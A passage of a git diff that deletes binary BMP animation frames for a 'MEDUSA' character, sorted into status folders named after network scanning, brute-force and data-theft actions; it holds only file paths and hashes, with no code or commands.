index 3df095b..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp deleted file mode 100644 index 9964124..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE11.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE11.bmp deleted file mode 100644 index d831df5..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE11.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE12.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE12.bmp deleted file mode 100644 index 9ba5270..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE12.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp deleted file mode 100644 index 88ab0a7..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE14.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE14.bmp deleted file mode 100644 index f60e0ce..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE14.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp deleted file mode 100644 index 25f7a83..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE16.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE16.bmp deleted file mode 100644 index 5662c46..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE16.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE17.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE17.bmp deleted file mode 100644 index 99a3ded..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE17.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp deleted file mode 100644 index 55a36b8..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp deleted file mode 100644 index 1474fe0..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp deleted file mode 100644 index 52589b1..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp deleted file mode 100644 index 182c193..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp deleted file mode 100644 index dbcade0..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE22.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE22.bmp deleted file mode 100644 index c913142..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE22.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp deleted file mode 100644 index 426af0b..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp deleted file mode 100644 index 243844c..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE25.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE25.bmp deleted file mode 100644 index 3c7332d..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE25.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp deleted file mode 100644 index 0e5d33d..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp deleted file mode 100644 index 6c2dea8..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE28.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE28.bmp deleted file mode 100644 index 528a843..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE28.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp deleted file mode 100644 index dfe1ccb..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp deleted file mode 100644 index 0ef47b5..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp deleted file mode 100644 index a72ca5d..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE31.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE31.bmp deleted file mode 100644 index e061a54..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE31.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE32.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE32.bmp deleted file mode 100644 index 528a843..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE32.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp deleted file mode 100644 index fc14d11..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp deleted file mode 100644 index cc9a018..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp deleted file mode 100644 index 6ac2bd2..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE35.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp deleted file mode 100644 index cd63e92..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp deleted file mode 100644 index 4b31159..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp deleted file mode 100644 index 3de5e71..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE7.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE7.bmp deleted file mode 100644 index 009a51a..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE7.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp deleted file mode 100644 index c913142..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE8.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp deleted file mode 100644 index 80ea334..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp deleted file mode 100644 index 45a466f..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner1.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner1.bmp deleted file mode 100644 index 939dc2e..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp deleted file mode 100644 index 1bed73c..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp deleted file mode 100644 index 35cc8c5..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp deleted file mode 100644 index 2883594..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp deleted file mode 100644 index 2bd1847..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner6.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner6.bmp deleted file mode 100644 index 643b052..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner6.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner7.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner7.bmp deleted file mode 100644 index 2742da4..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner7.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner8.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner8.bmp deleted file mode 100644 index eaa2472..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner8.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner.bmp deleted file mode 100644 index dadf656..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp deleted file mode 100644 index 939dc2e..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp deleted file mode 100644 index 1bed73c..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp deleted file mode 100644 index 35cc8c5..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp deleted file mode 100644 index 2883594..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp deleted file mode 100644 index 2bd1847..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner6.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner6.bmp deleted file mode 100644 index 643b052..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner6.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp deleted file mode 100644 index 2742da4..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner7.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner8.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner8.bmp deleted file mode 100644 index eaa2472..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner8.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce.bmp deleted file mode 100644 index f8a5393..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce10.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce10.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce10.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce3.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce4.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce4.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce4.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce7.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce7.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce7.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce8.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce8.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce8.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce9.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce9.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce9.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp deleted file mode 100644 index 9db4d23..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce.bmp deleted file mode 100644 index f7c8c88..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce10.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce10.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce10.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce11.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce11.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce11.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce12.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce12.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce12.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce13.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce13.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce13.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce3.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce3.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce3.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce4.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce4.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce4.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce6.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce6.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce6.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce7.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce7.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce7.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce8.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce8.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce8.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce9.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp deleted file mode 100644 index 1c81cf6..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL10.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL10.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL10.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL4.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL4.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL4.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL5.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL5.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL5.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL6.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL6.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL6.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP1.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesFTP/StealFilesFTP1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB.bmp 